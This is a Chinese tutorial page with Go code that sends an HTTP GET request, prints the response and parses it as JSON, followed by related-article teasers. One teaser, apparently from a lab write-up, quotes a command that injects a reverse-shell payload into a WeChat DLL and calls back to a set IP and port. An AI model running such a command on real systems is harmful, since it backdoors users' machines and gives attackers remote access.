发请求,接收接送,并解析

  1. package main
  2.  
  3. import (
  4. "fmt"
  5.  
  6. "net/http"
  7. "io/ioutil"
  8. "net/url"
  9. "encoding/json"
  10. "os"
  11.  
  12. )
  13.  
  14. type Student struct {
  15. Name string
  16. Age int
  17. Guake bool
  18. Classes []string
  19. Price float32
  20. }
  21.  
  22. func (s *Student) ShowStu() {
  23. fmt.Println("show Student :")
  24. fmt.Println("\tName\t:", s.Name)
  25. fmt.Println("\tAge\t:", s.Age)
  26. fmt.Println("\tGuake\t:", s.Guake)
  27. fmt.Println("\tPrice\t:", s.Price)
  28. fmt.Printf("\tClasses\t: ")
  29. for _, a := range s.Classes {
  30. fmt.Printf("%s ", a)
  31. }
  32. fmt.Println("")
  33. }
  34.  
  35. type multitypeTest struct {
  36. One string `json:"one"`
  37. Two string `json:"two"`
  38. }
  39. func (s *multitypeTest) Showmul() {
  40. fmt.Println("show Student :")
  41. fmt.Println("\tName\t:", s.One)
  42. fmt.Println("\tAge\t:", s.Two)
  43.  
  44. }
  45. func IndexHandler(w http.ResponseWriter, r *http.Request) {
  46. fmt.Fprintln(w, "hello world")
  47. }
  48. func main() {
  49. //jsonTest()
  50. httpGet()
  51.  
  52. }
  53. func httpPostForm() {
  54.  
  55. resp, err := http.PostForm("",
  56. url.Values{"key": {"Value"}, "id": {"123"}})
  57.  
  58. if err != nil {
  59. // handle error
  60. }
  61.  
  62. defer resp.Body.Close()
  63. body, err := ioutil.ReadAll(resp.Body)
  64. if err != nil {
  65. // handle error
  66. }
  67.  
  68. fmt.Println(string(body))
  69.  
  70. }
  71. func httpGet() {
  72. resp, err := http.Get("https://X.rong360.com/XXX/XXX")
  73. CheckError(err)
  74. defer resp.Body.Close()
  75. body, err := ioutil.ReadAll(resp.Body)
  76. CheckError(err)
  77. fmt.Println(string(body))
  78. //f1 := &multitypeTest{
  79. // One:"a",
  80. // Two:"b",
  81. // }
  82. //f1.Showmul()
  83. //fjson1, err := json.Marshal(f1)
  84. //fmt.Println(string(fjson1))
  85. CheckError(err)
  86. f2 := &multitypeTest{}
  87. err = json.Unmarshal([]byte(body), &f2)
  88. CheckError(err)
  89. f2.Showmul()
  90.  
  91. }
  92.  
  93. func jsonTest() {
  94. //解析固定结构的json
  95. st := &Student{
  96. "Xiao Ming",
  97. 16,
  98. true,
  99. []string{"Math", "English", "Chinese"},
  100. 9.99,
  101. }
  102. st1, err := json.Marshal(st)
  103. fmt.Println(string(st1))
  104. CheckError(err)
  105. stb := &Student{}
  106. err = json.Unmarshal([]byte(st1), &stb)
  107. stb.ShowStu()
  108. //
  109. //b := []byte(`{1:"Wednesday",2:6,3:["Gomez","Morticia"]}`)
  110.  
  111. ////解析未知结构的json
  112. //var f interface{}
  113. //err = json.Unmarshal(b, &f)
  114. //CheckError(err)
  115. //这是f里面存储的是一个键值对的map
  116. //f = map[string]interface{}{
  117. // "Name": "Wednesday",
  118. // "Age": 6,
  119. // "Parents": []interface{}{
  120. // "Gomez",
  121. // "Morticia",
  122. // },
  123. //}
  124. //m := f.(map[interface{}]interface{})
  125. //for k, v := range m {
  126. // switch vv := v.(type) {
  127. // case string:
  128. // fmt.Println(k, "is string", vv)
  129. // case int:
  130. // fmt.Println(k, "is int", vv)
  131. // case float64:
  132. // fmt.Println(k, "is float64", vv)
  133. // case []interface{}:
  134. // fmt.Println(k, "is an array:")
  135. // for i, u := range vv {
  136. // fmt.Println(i, u)
  137. // }
  138. // default:
  139. // fmt.Println(k, "is of a type I don't know how to handle")
  140. // }
  141. //}
  142. }
  143. func CheckError(err error) {
  144. if err != nil {
  145. fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error())
  146. os.Exit(1)
  147. }
  148. }

  

golang入门案例之http client请求的更多相关文章

  1. golang入门案例之SOCKET

    //服务端代码package main import ( "fmt" "net" "log" "os" "en ...

  2. SpringMVC入门案例及请求流程图(关于处理器或视图解析器或处理器映射器等的初步配置)

    SpringMVC简介:SpringMVC也叫Spring Web mvc,属于表现层的框架.Spring MVC是Spring框架的一部分,是在Spring3.0后发布的 Spring结构图 Spr ...

  3. window下golang使用gRPC入门案例&net core客户端

    gRPC是google开源高性能分布式RPC框架,支持http/2 双向数据流传输及Protobuff,可以在任何环境下运行. 它可以有效地将数据中心内和跨数据中心的服务与可插拔支持进行负载均衡,跟踪 ...

  4. spring-cloud-Zuul学习(一)【基础篇】--入门案例【重新定义spring cloud实践】

                                                                                                    -- 2 ...

  5. _00017 Kafka的体系结构介绍以及Kafka入门案例(0基础案例+Java API的使用)

    博文作者:妳那伊抹微笑 itdog8 地址链接 : http://www.itdog8.com(个人链接) 博客地址:http://blog.csdn.net/u012185296 博文标题:_000 ...

  6. RabbitMQ入门案例

    RabbitMQ入门案例 Rabbit 模式 https://www.rabbitmq.com/getstarted.html 实现步骤 构建一个 maven工程 导入 rabbitmq的依赖 启动 ...

  7. SpringMvc核心流程以及入门案例的搭建

    1.什么是SpringMvc Spring MVC属于SpringFrameWork的后续产品,已经融合在Spring Web Flow里面.Spring 框架提供了构建 Web 应用程序的全功能 M ...

  8. MyBatis入门案例、增删改查

    一.MyBatis入门案例: ①:引入jar包 ②:创建实体类 Dept,并进行封装 ③ 在Src下创建大配置mybatis-config.xml <?xml version="1.0 ...

  9. MyBatis入门案例 增删改查

    一.MyBatis入门案例: ①:引入jar包 ②:创建实体类 Dept,并进行封装 ③ 在Src下创建大配置mybatis-config.xml <?xml version="1.0 ...

随机推荐

  1. 2019.10.9wechat反弹shell复现

    ./backdoor.py -f libEGL.dll -s reverse_shell_tcp_inline -P 6666 -H 192.168.106.137 msfconsle 打开msf 在 ...

  2. Python测开面试题之装饰器

    Python的装饰器是面试常被问到的问题之一,在面试Python测试开发时被问到的概率不低于70%,那么装饰器的原理是什么,怎么快速写出一个装饰器呢,接下来我们详细讲解装饰器的实现方法. Python ...

  3. 牛客练习赛47 D DongDong坐飞机 (分层最短路)

    链接:https://ac.nowcoder.com/acm/contest/904/D 来源:牛客网 DongDong坐飞机 时间限制:C/C++ 1秒,其他语言2秒 空间限制:C/C++ 5242 ...

  4. zabbix的简单操作(proxy代理分布式监控)

    分布式监控 作用:分担压力,减轻负载,多机房监控 通过zabbix proxy的搭建,zabbix server可以远程从proxy获取到数据,这里的环境相当于zabbix server具有一个公网i ...

  5. springboot rabbitmq direct exchange和topic exchange 写法上关于路由键的区别

    这是direct exchange写法中消息发送写法,可见下图红色框中路由键是queue队列中定义的路由键 这是topic exchange写法中消息发送写法,可见下图红色框中路由键是exchange ...

  6. 安装theano时候发现报错:cannot install ''numpy'.It is a distutils installed project and thus we cannot ...

    发现我安装theano的时候需要numpy需要1.9以上版本,而我之前自带的numpy是1.8版本,所以版本有问题.根本原因是theano需要的numpy版本不符合要求,但是numpy已经安装过了,所 ...

  7. UVALive - 5695 The Last Puzzle (思维+区间dp)

    题目链接 题目大意:有n个按钮排成一条直线,你的任务是通过左右移动按下所有按钮,按钮如果一段时间没有被按下就会被弹开. 以下是我的推论(不一定正确): 直观地看的话,如果选择的是最优路径,那么路径的形 ...

  8. 安全框架Shiro和SpringSecurity的比较

    来自:https://www.cnblogs.com/zoli/p/11236799.html 两个基本的概念 安全实体:系统需要保护的具体对象数据 权限:系统相关的功能操作,例如基本的CRUD Sh ...

  9. (转)CSS定义字体间距 字体行与行间距

    源网址:http://www.cnblogs.com/jian1982/archive/2010/07/03/1770349.html CSS定义字体行间距 line-height:xxpx; CSS ...

  10. python 数据库错误处理

    DB API中定义了一些数据库操作的错误及异常,下表列出了这些错误和异常: 异常 描述 Warning 当有严重警告时触发,例如插入数据是被截断等等.必须是 StandardError 的子类. Er ...